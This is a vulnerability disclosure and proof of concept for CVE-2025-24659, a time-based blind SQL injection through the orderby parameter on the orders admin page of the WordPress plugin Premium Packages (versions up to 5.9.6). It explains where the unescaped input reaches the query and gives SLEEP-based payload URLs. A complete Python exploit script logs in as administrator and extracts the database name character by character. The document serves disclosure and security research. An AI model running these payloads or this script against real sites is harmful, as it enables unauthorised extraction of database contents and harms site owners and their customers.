
PoC of CVE-2025-24659
WordPress plugin
Component name Premium Packages – Sell Digital Products Securely
Vulnerable version <= 5.9.6
Component slug wpdm-premium-packages
Component link https://wordpress.org/plugins/wpdm-premium-packages/
Vulnerability class A3: Injection
Vulnerability type SQL Injection
Administrator
A SQL Injection vulnerability exists in versions 5.9.6 and below of the Premium Packages - Sell Digital Products Securely plugin (hereafter referred to as Premium Packages plugin). This occurs due to insufficient escaping of the URL parameter orderby when viewing the order list in the plugin dashboard's order menu (/wp-admin/edit.php?post_type=wpdmpro&page=orders).
As a result, an attacker with administrator privileges can exploit this vulnerability to access all information stored in the target site's database.
Furthermore, while this SQL Injection vulnerability does not allow direct data retrieval from the response data, information can be extracted using Time-Based Blind SQL Injection techniques that leverage the difference in response times based on true/false conditions in SQL queries.
Log in as an administrator to a WordPress site where the Premium Packages plugin is installed and activated.
Since the Premium Packages plugin is an addon for the Download Manager plugin (https://wordpress.org/plugins/download-manager/), the Download Manager plugin must also be installed and activated.
After accessing the URL below, the SQL query condition (1=1) will always be true, causing the page to display after 5 seconds due to the SLEEP(5) function.
http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=1,(SLEEP(5)),0))

1=2) is always false, the page displays immediately.http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=2,(SLEEP(5)),0))

When requesting the order list dashboard of the Premium Packages plugin, the file /wp-content/plugins/wpdm-premium-packages/includes/menus/templates/orders/list-orders.php is executed.
At this point, the value of the URL parameter orderby is assigned to the variable $orderby without proper escaping. Subsequently, the variable $orderby is passed to the variable $qry and completes the order by clause in the SQL query.

Then, the variable $qry is passed as an argument to the functions totalOrders and GetAllOrders.
These functions are defined in the file /wp-content/plugins/wpdm-premium-packages/includes/libs/Order.php, and the received argument value is directly used in database queries.

Therefore, since the value of the URL parameter orderby is used directly in database queries without escaping, a SQL Injection vulnerability occurs.

Then enter the following command to run the PoC code.
Required modulesrequests
python poc.py

import re
import time
import string
import requests
## To set up a proxy, enter the server address below.
PROXY_SERVER = None
proxies = {
"https": PROXY_SERVER,
"http": PROXY_SERVER,
}
SLEEP_TIMER = 1
def __login_get_session(login_id, login_pw):
session = requests.session()
data = {
"log": login_id,
"pwd": login_pw,
"wp-submit": "Log In",
"testcookie": 1
}
resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
print(f" |- Successfully logged in with account {login_id}.")
return session
else:
raise Exception(f"[-] Failed to log in.")
def poc_get_db_length(session):
length = 1
while True:
payload = f"1,(IF(LENGTH(DATABASE()) = {length},(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) < SLEEP_TIMER:
print(f" |- Database name length is greater than {length}.")
length += 1
else:
print(f" |- Database name length: {length}")
break
return length
def poc_get_db_name(session, db_length):
db_name = ""
for i in range(1, db_length+1):
for char in string.ascii_letters + string.digits:
payload = f"1,(IF(SUBSTR(DATABASE(),{i},1)=CHAR({ord(char)}),(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) > SLEEP_TIMER:
db_name += char
print(f" |- Database name: {db_name.ljust(db_length, '*')}")
break
print(f" |- Successfully extracted the database name: {db_name}")
def poc():
####
## 1. Log in as administrator
####
print(f"[+] Logging in with administrator account.")
print(f" |- Account: {ADMIN_ID}, Password: {ADMIN_PW}")
admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies)
###
## 2. Retrieve database name length
###
print(f"[+] Retrieving database name length.")
db_length = poc_get_db_length(admin_session)
###
## 3. Retrieve database name
###
print(f"[+] Retrieving database name.")
poc_get_db_name(admin_session, db_length)
if __name__ == "__main__":
## WordPress Target
TARGET = "http://localhost:8080"
## Administrator ID/PW
ADMIN_ID = "admin"
ADMIN_PW = "admin"
poc()